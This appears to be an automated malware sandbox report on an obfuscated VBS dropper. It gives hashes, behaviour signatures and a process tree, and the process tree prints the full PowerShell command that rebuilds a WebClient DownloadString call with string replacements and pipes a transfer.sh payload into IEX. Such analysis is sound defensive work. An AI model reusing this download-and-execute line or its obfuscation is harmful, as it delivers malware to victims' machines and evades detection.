Analysis

  • max time kernel
    121s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2024 15:24

General

  • Target

    0f5caf7f3e8ccbee02e21575b337d031_JaffaCakes118.vbs

  • Size

    727B

  • MD5

    0f5caf7f3e8ccbee02e21575b337d031

  • SHA1

    7fcf17c5a51e19d0b2def5719a36b581f391d9fc

  • SHA256

    1c6adefb631929c92c652eaad245e909b6fc8e872b24a026d7d5bdd385ef0b73

  • SHA512

    58a1183a32adc11b3989606831519d8aa87f164a832e851c3099a9f36532f5461ea4e6e726f6bfeaaf156e181324f55f2204d80371a94c5071299415bf4def72

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://transfer.sh/1tECsY6/REd.txt

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0f5caf7f3e8ccbee02e21575b337d031_JaffaCakes118.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $TRUMP = 'http://transfer.sh/1tECsY6/REd.txt';$B = 'ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');&('I'+'EX')($A -Join '')|&('I'+'EX');
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2760

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2760-4-0x000007FEF620E000-0x000007FEF620F000-memory.dmp

    Filesize

    4KB

  • memory/2760-5-0x000000001B600000-0x000000001B8E2000-memory.dmp

    Filesize

    2.9MB

  • memory/2760-7-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-6-0x0000000002990000-0x0000000002998000-memory.dmp

    Filesize

    32KB

  • memory/2760-8-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-9-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-10-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-11-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB

  • memory/2760-12-0x000007FEF5F50000-0x000007FEF68ED000-memory.dmp

    Filesize

    9.6MB